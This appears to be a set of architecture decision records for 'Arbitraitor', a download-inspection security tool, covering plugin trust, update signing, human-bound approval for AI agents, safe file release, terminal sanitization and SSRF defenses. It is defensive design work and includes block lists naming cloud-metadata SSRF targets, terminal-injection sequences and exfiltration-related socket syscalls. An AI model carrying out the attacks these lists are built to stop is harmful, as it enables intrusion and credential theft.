Prohibited initially. Plugins return structured fields only; the core owns all user-facing rendering. This prevents:
- Terminal control sequence injection by plugins.
- Phishing through fake approval prompts.
- Confusion of reviewer by plugin-generated UI elements.
Capability and permission model
Capabilities (what a plugin can request the core to do):
- parse_argv
- resolve_original_executable
- read_tool_version
- request_secret_reference (without reading the secret value)
- read_immutable_artifact (opaque read handle)
- emit_findings
- request_network_operation (through core)
- request_sandbox_execution
- request_package_manager_delegation
Permissions (what a plugin can directly access):
- network: false by default
- filesystem read/write: scoped paths only
- environment variable names: explicit list
- process execution: false by default
- terminal rendering: false always
Community plugins receive no network, no process execution, no arbitrary filesystem access, and no terminal-rendering authority by default.
Semantic confidence
Every wrapper translation states one of:
| Level | Meaning |
|---|---|
exact | Supported semantics fully represented |
equivalent | Behavior differs in non-security-relevant ways |
partial | Some options or side effects not modeled |
opaque | Plugin cannot determine the operation safely |
Policy defaults:
[wrappers]
minimum_semantic_confidence = "exact"
allow_equivalent = "prompt"
partial = "block"
opaque = "block"
A plugin may not label a translation exact unless it passes the official
conformance suite for that command shape.
Consequences
- Evidence-only detectors from the community are safe to run — their output is just policy input.
- Wrappers and execution adapters from untrusted sources cannot silently alter operations in enforcement mode.
- The plugin ecosystem has clear trust tiers that users can reason about.
- Adding a new wrapper plugin requires conformance testing, not just code review.
Alternatives considered
- All plugins are equal, core validates everything: Rejected. The core cannot validate semantic fidelity of a translation it didn’t perform.
- No plugins at all: Rejected. Limits extensibility for detectors and intelligence providers that don’t affect the TCB.
- Full plugin UI rendering: Rejected. Creates terminal injection and phishing channels.
References
docs/spec/spec.mdC-03docs/spec/spec.md§39 (Plugin, wrapper, and adapter system)- ADR 0006 — Plugin runtime
ADR 0012: TUF implementation selection
Status: Accepted Date: 2026-06-16 Issue: #7
Context
Arbitraitor needs signed update channels for rule packs, intelligence feeds, trust-root metadata, and plugin registry metadata. The Update Framework (TUF) provides the right security model: offline root keys, threshold signatures, role separation, rollback protection, expiration, freeze-attack resistance, and consistent snapshots.
AWS security bulletin 2026-019 disclosed multiple vulnerabilities in tough
(the Rust TUF implementation) before version 0.22.0:
- Delegated-role signature threshold bypass.
- Missing delegated metadata validation.
- Path traversal in metadata handling.
This demonstrates that update clients are themselves high-risk parsers and authorization engines. The selection cannot be made casually.
Decision
No Rust TUF library is selected normatively until the evaluation criteria
below are satisfied. The initial implementation uses a narrowly scoped
TUF-compatible first-party channel with minisign-signed metadata, behind an
internal UpdateVerifier trait.
Evaluation criteria
Any selected implementation must pass ALL of the following:
- Current security advisories: All known vulnerabilities fixed. If
toughis selected, minimum version 0.22.0. - Official TUF conformance suite: Pass the official test vectors from the TUF specification.
- Adversarial tests: Duplicate signatures, delegated metadata length/hash/ expiry validation, cyclic delegation, path traversal, symlink targets, rollback, freeze, mix-and-match, endless data.
- Cache corruption behavior: Corrupted local cache fails closed (denial of service), not silently treated as valid.
- Root bootstrap and recovery: Documented procedure for initial root trust and out-of-band key recovery.
- Key separation and threshold policy: Separate root, targets, snapshot, and timestamp keys. Root and preferably targets/snapshot keys offline with threshold signatures.
Candidates
| Candidate | Status | Notes |
|---|---|---|
tough >= 0.22.0 | Primary candidate (pending evaluation) | AWS-maintained; 2026-019 fixes applied in 0.22.0; must pass tuf-conformance suite + adversarial tests before adoption |
rust-tuf | Deprioritized | Community-maintained; confirmed limited maintenance activity as of 2026-06 |
| Custom scoped implementation | Fallback | Narrower scope, easier to audit, but must implement TUF spec correctly |
go-tuf (subprocess) | Not preferred | Adds Go runtime dependency; cross-language boundary |
Interim approach
For the MVP, Arbitraitor uses:
signed manifest (minisign)
→ verify against pinned public key
→ parse versioned metadata
→ fetch targets with declared SHA-256
→ reject older snapshot versions (rollback protection)
→ check expiration timestamps
This provides:
- Signed updates (minisign).
- Version rollback protection.
- Expiration checking.
- Target integrity verification.
It does NOT provide the full TUF delegation model. Full TUF is deferred until the ADR is finalized with conformance results.
Separation of trust roots
| Channel | Trust root | Key type |
|---|---|---|
| Binary releases | Sigstore/cosign + GitHub attestation | Per-release OIDC |
| Built-in rule packs | TUF/minisign | Offline project key |
| Intelligence feeds | TUF/minisign | Per-feed signing key |
| Trust-root metadata | TUF root role | Offline threshold keys |
| Plugin registry | TUF/minisign | Project-controlled |
Trusted time
Update metadata depends on time for expiration and freshness:
- Monotonic timers for operation deadlines (not affected by clock changes).
- Wall-clock sanity checks: detect large backward jumps.
- Offline grace policy: explicit grace period for expired metadata when offline, not silent acceptance.
- Optional trusted-time source for managed environments.
Consequences
- Update security is not blocked on TUF library selection.
- The
UpdateVerifiertrait allows swapping the implementation when a library passes evaluation. - Community registry (delegated trust) is deferred until full TUF is available.
- The interim minisign approach is simpler to audit but lacks delegation.
Alternatives considered
- Use
toughimmediately (pre-evaluation): Rejected. The 2026-019 advisory demonstrates the risk of unaudited TUF implementations. - No signed updates (unsigned HTTPS only): Rejected. HTTPS alone is insufficient for update integrity (CDN compromise, MITM with corporate CA).
- Custom full TUF from scratch: Deferred. High implementation risk without conformance suite verification.
References
docs/spec/spec.mdC-06docs/spec/tech-stack.md§13.1 (TUF metadata)docs/spec/spec.md§34 (Update security)- AWS Security Bulletin 2026-019
- TUF Security
- TUF FAQ
- TUF Conformance Suite
- ADR 0013 — Plan-bound approval
ADR 0013: Plan-bound approval capability model
Status: Accepted Date: 2026-06-16 Issue: #8
Context
The adversarial review (C-08) identified that digest-only approval is replayable. The same bytes may be harmless when viewed, dangerous when executed natively, or behave differently with another interpreter, argument vector, working directory, environment, destination, privilege request, or network policy.
Additionally (H-11), an AI agent that proposes a command must not be able to manufacture or confirm the human approval for that command through the same tool capability.
Decision
Replace digest-only approval with plan-bound approval capabilities.
Canonical execution plan
Approval binds to a canonical execution plan containing:
#![allow(unused)]
fn main() {
pub struct ExecutionPlan {
pub artifact_digest: Sha256Digest,
pub operation: OperationType, // fetch, run, scan, unpack
pub release_mode: ReleaseMode, // file, stdout, execute, mount
pub interpreter: InterpreterIdentity, // path + digest or signer
pub argument_vector: Vec<String>,
pub environment_profile_digest: Sha256Digest,
pub working_directory_policy: WorkDirPolicy,
pub filesystem_grants: Vec<FilesystemGrant>,
pub network_grants: NetworkGrants,
pub sandbox_capabilities: SandboxRequirements,
pub release_destination: Option<DestinationSpec>,
pub policy_digest: Sha256Digest,
pub detector_snapshot_digest: Sha256Digest,
pub intelligence_snapshot_digest: Sha256Digest,
pub expiry: SystemTime,
pub nonce: OperationId, // single-use
}
}
Any material difference in the plan invalidates the approval. Changing the interpreter, adding an argument, altering the environment, changing the destination, or updating the policy snapshot all require fresh approval.
Approval flow
# Step 1: inspect and produce a receipt
arbitraitor fetch https://example.com/install.sh --receipt receipt.json
# Step 2: review and approve the execution plan
arbitraitor approve receipt.json --output approval.json
# Step 3: execute using the approved plan
arbitraitor execute --approval approval.json
The approval capability is a signed token containing the plan digest, approver identity, approval method, expiry, and nonce. It is non-replayable across changed plans.
Human approval display
For elevated findings, interactive approval requires typing a prefix of the plan digest:
Artifact: sha256:7c...
Plan: sha256:91...
Type the first 12 characters of the plan digest to override:
This binds human attention to both the artifact identity and the execution context, not just the bytes.
Agent capability separation
For AI agent and MCP integration, three separate capabilities are exposed:
| Capability | What it does | Who uses it |
|---|---|---|
inspect | Retrieve, scan, report findings. No release. | Agent |
request_approval | Submit plan for human review. Cannot self-approve. | Agent |
execute_approved | Execute using a pre-issued approval token. | Agent or CI |
Rules:
- The agent that requests inspection or execution cannot also satisfy human approval through the same capability.
- Approval is rendered by the core-owned UI or another authenticated channel — never through agent-provided text.
- Agent-provided prose is never inserted into the approval prompt.
- Unattended automation requires a pre-issued policy capability (e.g., CI with a pinned policy and digest expectation), not simulated user consent.
Non-interactive mode
--non-interactive must never infer approval. A prompt verdict becomes
block unless policy defines an alternative (e.g., auto-pass for pinned-digest
CI workflows).
Consequences
- A leaked or replayed approval token cannot be used for a materially different operation.
- AI agents cannot manufacture human approval.
- CI pipelines use pre-issued policy capabilities with pinned digests, not
generic
--yesbypasses. - The approval model is more complex than digest-only, but the security guarantee is materially stronger.
Alternatives considered
- Digest-only approval (
--approve sha256:...): Rejected. Replayable across interpreters, arguments, environments, and destinations. - Generic
--yes/--force: Rejected. No binding to specific plan. - Trusted UI in plugin: Rejected. Creates phishing channel.
References
docs/spec/spec.mdC-08, H-11docs/spec/spec.md§25.3 (Approval), §33 (AI agent and MCP integration)- ADR 0007 — Assurance levels
ADR 0014: Receipt canonicalization (RFC 8785 JCS)
Status: Accepted Date: 2026-06-16 Issue: #9
Context
Signed receipts require a canonical byte representation for the signature input. “Canonical JSON or binary” is too vague for interoperability. Different JSON serializers produce different byte output (key ordering, whitespace, number formatting, Unicode escaping), which breaks signature verification across implementations.
The adversarial review (H-06) recommended RFC 8785 JSON Canonicalization
Scheme (JCS) and warned against the abandoned serde_jcs crate.
Decision
Receipt format
- User-facing receipts remain normal JSON (pretty-printed, human-readable).
- Signature input uses RFC 8785 JSON Canonicalization Scheme (JCS).
- Algorithm and key ID are included outside the signed payload (in a wrapper or detached signature).
Canonicalization rules (RFC 8785)
Before canonicalization, reject:
- Duplicate JSON keys in any object.
- Non-I-JSON numbers (NaN, Infinity, excessive precision).
- Invalid Unicode (unpaired surrogates, non-characters).
- Excessive nesting depth (limit: 128).
- Oversized values (string limit: 1 MiB, total document limit: 16 MiB).
RFC 8785 mandates:
- Lexicographic key ordering at every object level (UTF-16 code unit comparison).
- Number serialization in the shortest round-trippable form (no trailing
zeros, scientific notation with lowercase
ewhen shorter). - String serialization with required escape sequences (
\",\\, control characters as\u00XX). - No whitespace between tokens.
- No trailing newline.
Library evaluation
| Candidate | Status | Notes |
|---|---|---|
serde_json_canonicalizer | Selected | Maintained; purpose-built for RFC 8785; no unsafe code; must pass official test vectors before use |
serde_jcs | Rejected | Maintenance concerns; known conformance divergences from RFC 8785 |
| Custom implementation | Fallback | Last resort; high risk of subtle bugs |
Selection criteria:
- Passes official RFC 8785 test vectors.
- Rejects duplicate keys, invalid Unicode, non-I-JSON numbers.
- Deterministic output across platforms and architectures.
- Maintained and responsive to issues.
- No unsafe code.
Signature envelope
{
"receipt": { ... },
"signature": {
"algorithm": "ed25519",
"key_id": "sha256:abc123...",
"value": "base64:...",
"canonicalization": "rfc8785"
}
}
The receipt object is canonicalized per RFC 8785, then the canonical bytes
are signed. The signature object is not part of the signed payload.
Test vectors
Arbitraitor publishes official canonicalization test vectors covering:
- Key ordering (including UTF-16 ordering edge cases).
- Number formatting (integers, floats, scientific notation).
- String escaping (control chars, surrogates, non-ASCII).
- Nesting and empty containers.
- Duplicate key rejection.
- Receipt-sized realistic examples.
Consequences
- Receipt signatures are verifiable by any RFC 8785-compliant implementation, not just Arbitraitor.
- The canonicalization is deterministic: the same receipt always produces the same signature.
- Large receipts (deep payload graphs, many findings) are bounded by the nesting and size limits.
- The canonicalization library is a critical-path dependency for receipt signing — it must be audited and fuzzed.
Alternatives considered
- CBOR canonical encoding: Considered. More compact binary format with a well-defined canonical form (RFC 7049 §3.1). However, receipts are JSON-first for human readability and tooling interoperability. CBOR could be used for the signature input while keeping JSON for display, but this adds complexity.
- TLS-style signed JSON (custom): Rejected. Custom canonicalization is a well-known source of signature bypass vulnerabilities.
- JWT/JWS: Rejected. Base64url-encoded, not human-readable, and the claims model doesn’t map cleanly to receipts.
References
docs/spec/spec.mdH-06docs/spec/tech-stack.md§6.4 (Signed receipt canonicalization)- RFC 8785 — JSON Canonicalization Scheme
- RFC 8259 — The JSON Data Interchange Syntax
- I-JSON (RFC 7493)
serde_json_canonicalizer- RFC 8785 test vectors
ADR 0015: Safe destination release semantics
Status: Accepted Date: 2026-06-16 Issue: #10
Context
The CAS is carefully designed with atomic commit, restrictive permissions, and digest verification. However, release to a user-specified path is underspecified. The adversarial review (H-01) identified TOCTOU and overwrite attack vectors at the release destination.
Decision
Define mandatory release-to-path controls. Every release operation follows this sequence:
Release procedure
1. Reopen the CAS object read-only.
2. Recompute SHA-256.
3. Compare with scanned identity. FAIL if mismatch.
4. Verify no policy or intelligence update invalidated the verdict
(if freshness policy requires it).
5. Open the destination parent directory through a capability-rooted handle
(cap-std Dir).
6. Reject symlinks, junctions, reparse points, hard-link surprises, and
unexpected replacement at the destination path.
7. Create a new sibling temporary file with:
- Restrictive permissions (0600 on POSIX, user-restricted ACL on Windows).
- O_NOFOLLOW / no-follow semantics.
- No executable bit (never make scripts executable just because the URL
ended in .sh).
8. Write the artifact bytes.
9. Verify the final digest of the written file.
10. Atomically rename to the destination when the filesystem supports it.
11. If atomic rename is not possible (cross-filesystem), report and require
policy approval for the non-atomic copy.
12. Preserve or add platform download provenance (see ADR 0010).
13. Record the final destination identity and release method in the receipt.
Overwrite policy
- No overwrite by default. If the destination exists, release fails.
--replacerequires explicit flag and policy approval.- Replacement follows the same sibling-temp + atomic-rename procedure.
Symlink and reparse-point defense
Before writing:
fstatatwithAT_SYMLINK_NOFOLLOWon POSIX to verify the destination is not a symlink.- Check for reparse points / junctions on Windows.
- Reject hard links (check link count).
The parent directory handle (from step 5) ensures the path cannot be replaced with a symlink between the check and the write, because all operations are relative to the capability handle.
Cross-filesystem awareness
If the staging directory and destination are on different filesystems, atomic rename is impossible. Arbitraitor:
- Detects the cross-filesystem condition.
- Reports it as a finding.
- Requires explicit policy approval or
--allow-non-atomic. - Records the non-atomic copy in the receipt.
Property test requirements
- Path traversal: destination cannot escape the parent directory.
- Symlink replacement: attacker cannot swap destination with a symlink between open and write.
- Hard-link attack: destination cannot be a hard link to a sensitive file.
- Reparse-point: Windows junctions and reparse points rejected.
- Permissions: written file has restrictive permissions on all platforms.
- Digest verification: written file hashes to the scanned identity.
Consequences
- An attacker who can write to the destination directory cannot intercept, replace, or corrupt the released artifact.
- Users must explicitly opt in to overwrite or non-atomic copies.
- Scripts are never silently made executable.
- The release path is as carefully defended as the CAS commit path.
Alternatives considered
- Simple
std::fs::write: Rejected. No TOCTOU defense, no capability handles, no symlink rejection. - Always atomic (refuse cross-filesystem): Rejected. Too restrictive for real-world use. Report and require approval instead.
- Inherit umask permissions: Rejected. Unpredictable; use explicit restrictive permissions.
References
docs/spec/spec.mdH-01docs/spec/spec.md§26.2 (Exact-byte and destination-safe release)docs/spec/tech-stack.md§5 (Filesystem and content-addressed store)- ADR 0010 — Provenance markers
ADR 0016: Terminal and Unicode sanitization renderer
Status: Accepted Date: 2026-06-16 Issue: #11
Context
URLs, headers, filenames, source snippets, package metadata, YARA matched strings, detector evidence, and plugin messages are untrusted content that Arbitraitor displays to users. The adversarial review (H-02) identified that this content may contain:
- ANSI CSI sequences (cursor movement, color, erase).
- OSC sequences (set window title, clipboard operations, hyperlinks).
- Carriage returns and line rewriting.
- Control characters (bell, backspace, etc.).
- Unicode bidi controls (RLO, LRO, PDF — UTS #9).
- Mixed-script confusable characters (UTS #39).
- Extremely long combining sequences.
- Null bytes and other non-printable characters.
These can be used for terminal injection attacks, reviewer confusion, log-injection, and clipboard hijacking.
Decision
Implement one core-owned strict renderer through which all untrusted text must pass before reaching the terminal. Plugins never render terminal output directly.
Renderer rules
| Category | Treatment |
|---|---|
C0 controls (0x00–0x1F) except \t, \n | Escaped or stripped |
| C1 controls (0x80–0x9F) | Escaped or stripped |
ANSI CSI (ESC [) | Escaped, never interpreted |
ANSI OSC (ESC ]) | Escaped, never interpreted |
Terminal hyperlinks (ESC ]8;;) | Disabled |
Carriage return (\r) | Escaped |
| Unicode bidi (RLO U+202E, LRO U+202D, PDF U+202C, etc.) | Visualized |
| Mixed-script confusables (UTS #39) | Labeled with both Unicode and escaped forms |
| Invisible/suspicious characters (ZWSP, ZWNJ, etc.) | Visualized |
| Line length | Capped (default 2000 chars per line) |
| Total output volume | Bounded |
Display rules
- When displaying source code, filenames, or URLs that contain suspicious Unicode, show both the Unicode form and the escaped form:
Filename: caⅰc.o [U+2170 SMALL ROMAN NUMERAL I → U+0069 LATIN SMALL LETTER I]
- When displaying text with bidi controls, show a visual indicator:
⚠ Bidirectional override detected; rendered left-to-right:
curl https://example.com/install.sh
Architecture
#![allow(unused)]
fn main() {
pub trait TerminalRenderer {
/// Render untrusted text safely for terminal display.
fn render_text(&self, text: &str, context: RenderContext) -> RenderedText;
/// Render a source code snippet with safe highlighting.
fn render_source(&self, source: &str, language: &str, spans: &[SourceSpan]) -> RenderedText;
/// Render a URL with redaction.
fn render_url(&self, url: &RedactedUrl) -> RenderedText;
}
pub struct RenderContext {
pub max_line_length: usize,
pub max_total_chars: usize,
pub show_unicode_escapes: bool,
pub show_bidi_warnings: bool,
pub show_confusable_warnings: bool,
}
}
The renderer is owned by arbitraitor-cli and used for all human-facing output.
Machine output (--json, --sarif) is structurally encoded (valid JSON), not
terminal-rendered.
Plugin output
Plugins return structured data (typed fields, findings, evidence). The core renderer converts structured data into terminal-safe output. Plugins cannot emit raw terminal bytes.
JSON output
JSON output uses standard JSON string encoding. ANSI sequences, control
characters, and invalid Unicode are represented as escape sequences (\u001b,
etc.). This is safe because JSON consumers parse the structure, not render it
as a terminal.
Consequences
- Terminal injection, clipboard hijacking, and reviewer confusion attacks are neutralized.
- Mixed-script homograph attacks (e.g.,
caⅰc.orgvscaic.org) are visually flagged. - Plugins cannot inject terminal control sequences.
- The renderer adds a small amount of overhead to every output operation.
Implementation notes
Rust crates to evaluate for the renderer:
vteorstrip-ansi-escapesfor ANSI sequence stripping.- Custom UTS #39 confusable detection (the
unicode-securitycrate if available, or a focused implementation). unicode-bidifor bidi analysis (already a dependency of many crates).
The renderer must be fuzzed with adversarial input containing every category of dangerous content.
Alternatives considered
- Trust plugin output: Rejected. Creates terminal injection and phishing channels.
- Strip all non-ASCII: Rejected. Punishes legitimate international content; users need to see real filenames and URLs.
- Per-output ad-hoc escaping: Rejected. Inconsistent; easy to miss a path.
References
docs/spec/spec.mdH-02docs/spec/spec.md§25.0 (Untrusted presentation boundary)- UTS #39 — Unicode Security Mechanisms
- UTS #9 — Unicode Bidirectional Algorithm
- Terminal escape sequence injection
ADR 0017: Monotonic project configuration
Status: Accepted Date: 2026-06-16 Issue: #13
Context
A cloned repository may contain .arbitraitor.toml. Automatically treating it
as trusted policy would let the repository request plugins, trust roots,
network access, remote analysis, or weaker execution. The adversarial review
(H-10) identified this as a high-severity gap.
Decision
Project configuration (.arbitraitor.toml) is untrusted repository content.
It may only tighten inherited policy, never weaken it.
What project config MAY do (monotonic tightening)
- Require stricter detectors.
- Lower resource limits (max bytes, max time, max depth).
- Declare expected hashes (
expected_sha256 = "..."). - Declare expected signer identities.
- Deny network, plugins, or execution modes.
- Require additional provenance verification.
What project config MAY NOT do
| Prohibited action | Reason |
|---|---|
| Add trust roots or allowed publishers | Untrusted content cannot grant trust |
| Enable a plugin | Plugin code is extended TCB |
| Permit remote sample upload | Privacy violation |
| Relax HTTPS, network, sandbox, or privilege restrictions | Weakens security boundary |
| Weaken required detectors | Could hide malicious behavior |
| Create allow exceptions | Could suppress real findings |
| Alter update channels | Could redirect to malicious updates |
| Select a privileged helper | Privilege escalation vector |
Discovery and loading rules
- Explicit opt-in: Project config is loaded only when enabled by user or
organization policy (
[discovery] load_project_config = true). - Rooted to verified workspace: The
.arbitraitor.tomlfile must be in the current working directory or an explicitly declared workspace root. - Safe handles: Configuration paths are opened through capability handles (cap-std), not string-prefix checks.
- Origin in policy trace: The policy evaluation trace identifies which settings came from untrusted project configuration.
- Digest recorded: The project config file’s SHA-256 is recorded in the receipt.
Validation
When loading project config, the policy engine validates that every setting is a monotonic tightening of the inherited policy:
- If project config sets
max_download_bytesto a value higher than the inherited limit → rejected. - If project config enables a detector that inherited policy disabled → allowed (tightening).
- If project config disables a detector that inherited policy requires as mandatory → rejected.
- If project config attempts to add a trust root → rejected with a policy violation finding.
Configuration precedence
built-in defaults
> /etc/arbitraitor/config.toml (trusted: system)
> organization-managed config (trusted: org)
> project .arbitraitor.toml (UNTRUSTED: repository content, monotonic only)
> user config (trusted: user-owned)
> command-line options (trusted: user-invoked)
Each level may tighten but not weaken the level above it (except project config, which may only tighten, period). CLI override with audit is the sole exception.
Consequences
- Cloning a malicious repository cannot weaken Arbitraitor’s security posture.
- A project can declare “this artifact should be signed by identity X” — a legitimate tightening — but cannot declare “trust all artifacts from this repository.”
- The policy trace makes it visible when project config is active.
- The monotonic-tightening validation is property-tested.
TOML schema sketch
# .arbitraitor.toml — UNTRUSTED, monotonic tightening only
schema_version = 1
[integrity]
expected_sha256 = "7c..."
expected_signer = "did:key:z6Mk..."
[detectors]
# May ADD requirements but not remove mandatory ones
require_additional = ["binary_inspector"]
[limits]
# May LOWER limits but not raise them
max_download_bytes = "100MiB"
Unknown fields that attempt to add trust roots, enable plugins, or relax
restrictions are rejected by deny_unknown_fields validation.
Alternatives considered
- Trust project config fully: Rejected. Repository content is attacker- controlled.
- Ignore project config entirely: Rejected. Loses legitimate use case of declaring expected hashes and signers.
- Sign project config and trust signed ones: Rejected for MVP. Creates a key management burden and a new trust root bootstrap problem. May be reconsidered later for trusted organizations.
References
docs/spec/spec.mdH-10docs/spec/spec.md§9.24 (Monotonic project configuration), §30.3 (Configuration trust boundaries)- ADR 0004 — TOML format
ADR 0018: SSRF, proxy, and connected-peer address verification
Status: Accepted Date: 2026-06-16 Issue: #14
Context
The adversarial review (H-03) identified that ambient proxy settings, system proxy configuration, cookie jars, netrc files, and custom cert stores can influence reqwest behavior. With a proxy, Arbitraitor may not resolve or directly connect to the target host, changing SSRF and peer-address guarantees.
A URL allow/deny check before DNS resolution is insufficient because DNS rebinding can return different addresses on consecutive queries.
Decision
Address verification pipeline
Every HTTP request follows this pipeline. The pipeline repeats for every redirect and retry:
1. Parse and normalize the hostname.
2. Resolve all candidate addresses via DNS.
3. Reject disallowed address classes:
- Private (RFC 1918): 10/8, 172.16/12, 192.168/16
- Loopback: 127/8, ::1
- Link-local: 169.254/16, fe80::/10
- Multicast: 224/4, ff00::/8
- Cloud metadata: 169.254.169.254, fd00:ec2::254 (AWS), and known
equivalent endpoints for GCP/Azure/Oracle
- Unspecified: 0.0.0.0, ::
4. Connect ONLY to an approved resolved address.
5. Verify the connected peer address where the platform exposes it
(getpeername after connect).
6. Apply policy to IPv4-mapped IPv6 and unusual textual representations.
7. If the connected address differs from the resolved address (e.g., DNS
rebinding), abort and report.
Ambient configuration disabled by default
| Setting | Default | Override |
|---|---|---|
HTTP proxy (HTTP_PROXY) | Ignored | Explicit in operation plan |
HTTPS proxy (HTTPS_PROXY) | Ignored | Explicit in operation plan |
ALL proxy (ALL_PROXY) | Ignored | Explicit in operation plan |
| Cookie jar | Disabled | Explicit scoped jar |
| netrc | Disabled | Explicit credential reference |
| Credential helpers | Disabled | Explicit credential reference |
No-proxy (NO_PROXY) | Ignored | Explicit bypass list |
Proxy semantics
When a proxy is explicitly configured in the operation plan:
| Question | Answer |
|---|---|
| Who performs DNS resolution? | Documented per proxy type |
| Who connects to the target? | The proxy, not Arbitraitor |
| Can we verify the target IP? | No — only the proxy peer |
| What does the receipt say? | “Connected to proxy, target IP unverified” |
Never claim connected-target-IP verification when only the proxy peer is observable. The receipt must record:
{
"connection": {
"proxy": { "type": "https_connect", "address": "proxy.example.com:443" },
"target_resolution": "proxy_performed",
"target_address_verified": false
}
}
Redirect handling
On every redirect:
- Normalize and re-evaluate the new URL.
- Enforce maximum redirect count (default: 5).
- Block HTTPS-to-HTTP downgrade by default.
- Remove authorization headers and cookies on cross-origin redirects.
- Re-run IP-range and network-boundary policy on the new hostname.
- Record the chain.
- Detect redirect loops and suspicious origin changes.
- Findings for: unexpected cross-origin, URL shortener, raw IP redirect, low-reputation domain redirect, content-disposition filename change, content-type mismatch.
TLS trust backend
Use a policy-selectable trust backend:
| Mode | Use case | Risk |
|---|---|---|
| WebPKI roots (default) | Hermetic CI, reproducible builds | Root set must be kept current |
| Platform verifier | Workstation mode, enterprise trust | Larger parsing surface; enterprise roots |
| Custom root set | Testing, specific trust domains | Manual management |
The rustls-platform-verifier project notes that a pure Rust verifier can be
preferable for applications that deliberately connect to many untrusted TLS
endpoints. Use a policy-selectable backend rather than one universal default.
Implementation approach
Phase 1 (MVP): Use reqwest with explicit configuration:
- Disable auto-decompression, ambient proxy, cookies, netrc.
- Custom
resolvecallback that performs address filtering. - Redirect policy set to
none— Arbitraitor handles redirects manually. - Connect callback (if available) to verify peer address.
Phase 2 (if reqwest is insufficient): Custom Hyper connector that:
- Resolves DNS through Arbitraitor’s filtered resolver.
- Binds policy to the actual connection.
- Verifies connected peer address post-connect.
- Supports Hickory DNS behind a resolver trait for deterministic resolution and DNSSEC-aware experiments.
DNS rebinding defense
The connector must:
- Resolve the hostname.
- Connect to a specific resolved address.
- Verify (via
getpeername) that the connected address matches. - If they differ (rebinding occurred between resolve and connect), abort.
This check is meaningful only when Arbitraitor performs the connection, not when a proxy does.
Consequences
- SSRF attacks (redirecting to internal services, cloud metadata) are blocked.
- DNS rebinding attacks are detected and rejected.
- Proxy mode honestly reports reduced verification capability.
- Ambient configuration cannot leak credentials or bypass address policy.
- The implementation may require a custom Hyper connector, adding complexity to the fetch layer.
Alternatives considered
- Trust reqwest defaults: Rejected. Ambient proxy, cookies, and netrc create credential leakage and SSRF bypass.
- URL allow/deny before resolution only: Rejected. DNS rebinding defeats this.
- Block all proxies: Rejected. Enterprise environments require explicit proxy support with honest reporting.
References
docs/spec/spec.mdH-03docs/spec/tech-stack.md§4.4 (Redirects and credentials), §4.5 (SSRF and DNS rebinding)docs/spec/spec.md§11.2 (HTTP behavior)- rustls-platform-verifier
- ADR 0003 — Fetcher trait
ADR 0019: catch_unwind and panic = "abort" interaction
Status: Accepted Date: 2026-06-18
Context
The arbitraitor-analysis crate uses catch_unwind(AssertUnwindSafe(|| detector.analyze(ctx)))
to isolate detector panics — when a detector panics, the coordinator records
DetectorStatus::Error and continues running remaining detectors, then derives
an Incomplete verdict (fail-closed).
ADR 0001 establishes panic = "abort" for the release profile. Under
panic = "abort", catch_unwind is a no-op: a panic aborts the process
rather than unwinding the stack, so the catch_unwind closure never returns
Err and the DetectorStatus::Error path is never reached.
This means detector isolation via catch_unwind is functional in debug and
test builds only. In production (release) builds, a detector panic aborts the
entire process.
Decision
Accept the tension as an intentional two-tier defense:
-
Debug/test builds (
panic = "unwind"):catch_unwindprovides detector isolation. A panicking detector is caught, recorded asDetectorStatus::Error, and the analysis continues. The verdict isIncomplete. This enables robust testing of detector error handling. -
Release builds (
panic = "abort"): Process abort is the fail-closed mechanism. A detector panic kills the process, producing no verdict at all. The caller observes a non-zero exit and must treat the artifact as untrusted. This is strictly more conservative thanIncomplete.
The workspace clippy::panic = "deny" and unwrap_used = "deny" lints
minimize the sources of unintentional panics. Remaining panic sources (index
out of bounds in dependencies, stack overflow) are rare and result in process
abort in release — the safest possible outcome for a security boundary.
Consequences
DetectorStatus::Error(panic_message)and theIncompleteverdict for panics are dead code in release builds. They remain valuable for debug/test coverage and are not removed.DetectorStatus::Timeoutis similarly debug-only (see #79 for timeout enforcement design).- Future consumers of the analysis pipeline must distinguish “no verdict due
to process abort” from an explicit
Incompleteverdict. The receipt schema should account for this in a future revision. - The
AssertUnwindSafewrapper is sound:analyze(&self, &AnalysisContext)holds only immutable references, so no mutation crosses the unwind boundary.
Alternatives Considered
-
panic = "unwind"in release: Rejected by ADR 0001 for binary size, compile time, and defense-in-depth reasons. Process abort is the preferred fail-closed mechanism for a security boundary. -
Spawn each detector in a separate process: Would provide isolation even under
panic = "abort", but introduces IPC complexity, serialization overhead, and non-determinism — unacceptable for the MVP. -
Remove
catch_unwindentirely: Would simplify the code but lose valuable debug-time detector isolation and error reporting.
ADR 0020: Seccomp-BPF network isolation for subprocess plugins
Status: Accepted Date: 2026-06-23 Issue: #208
Context
ADR 0006 defines plugin instances as networkless by default. The Wasmtime Component Model path already withholds WASI networking capabilities, but the subprocess fallback executes native binaries. A community subprocess plugin could open sockets directly and exfiltrate artifact contents, environment-derived metadata, or analysis results.
ADR 0008 also makes runtime network access denied by default because unrestricted egress defeats transitive payload coverage. Native subprocess plugins therefore need an operating-system boundary that applies before untrusted code runs.
Decision
Install a Linux seccomp-BPF filter in the subprocess plugin child via
pre_exec, after resource limits are registered and before the general process
sandbox. The filter blocks socket-related syscalls with
SECCOMP_RET_ERRNO | EPERM, not SECCOMP_RET_KILL, so plugins observe ordinary
permission failures instead of process termination.
The filter denies socket creation, socket pairs, connect, bind, listen, accept,
socket send/receive calls, endpoint inspection, and socket option syscalls. It
first checks seccomp_data.arch against the build architecture’s AUDIT_ARCH_*
value so ABI confusion cannot bypass the syscall-number denylist.
Use raw classic BPF through libc rather than libseccomp or another C-backed
dependency. The required policy is a short denylist with an allow-by-default
fall-through, and avoiding a new native dependency keeps the sandbox supply-chain
and deployment surface smaller.
Network isolation is enabled by default for SubprocessExecutor. Callers may
disable it only when policy explicitly grants a plugin network capability. The
current implementation enforces on Linux x86_64 and aarch64; other platforms
must report this control as unavailable rather than silently claiming isolation.
Landlock filesystem isolation remains separate work (#209).
Consequences
- Community subprocess plugins can no longer create network sockets under the default executor policy on supported Linux architectures.
- Existing filesystem and stdio behavior remains available because the filter is scoped to network-related syscalls.
- Plugins that legitimately require network access need an explicit policy grant
and must use
with_network_isolated(false). - Non-Linux and unsupported Linux architectures still need a platform-specific enforcement mechanism before they can claim subprocess plugin network denial.
Alternatives considered
- libseccomp-rs: Rejected. It provides a clearer API but adds a native C library dependency to a security boundary.
- Network namespaces: Deferred. They are stronger but require namespace setup, lifecycle handling, and often privilege/user-namespace considerations.
- SECCOMP_RET_KILL: Rejected. Killing plugins obscures policy failures and makes graceful capability-denied behavior harder to test and debug.
References
- ADR 0006 — Wasmtime Component Model for plugins
- ADR 0008 — Execution context security profile
- Linux
seccomp(2) - Linux
